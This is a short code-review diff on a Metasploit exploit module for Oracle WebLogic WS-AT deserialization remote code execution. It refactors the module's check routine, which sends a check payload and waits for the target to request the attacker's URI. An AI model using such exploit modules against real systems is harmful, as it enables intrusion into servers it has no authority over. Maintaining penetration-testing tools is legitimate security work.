Feedback updates

Author: kkirsche

modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb

@@ -146,15 +146,7 @@ def on_request_uri(cli, request)
   # exploits/windows/novell/netiq_pum_eval.rb
   #
   def check
-    datastore['URIPATH'] = datastore['URIPATH'] || random_uri
-    datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
-
-    start_service({'Uri' => {
-      'Proc' => Proc.new { |cli, req|
-        on_request_uri(cli, req)
-      },
-      'Path' => datastore['URIPATH']
-    }})
+    start_service
 
     print_status('Sending the check payload...')
     res = send_request_cgi({
@@ -167,7 +159,7 @@ def check
     print_status("Waiting #{datastore['HTTP_DELAY']} seconds to see if the target requests our URI...")
 
     waited = 0
-    while (not @received_request)
+    until @received_request
       sleep 1
       waited += 1
       if (waited > datastore['HTTP_DELAY'])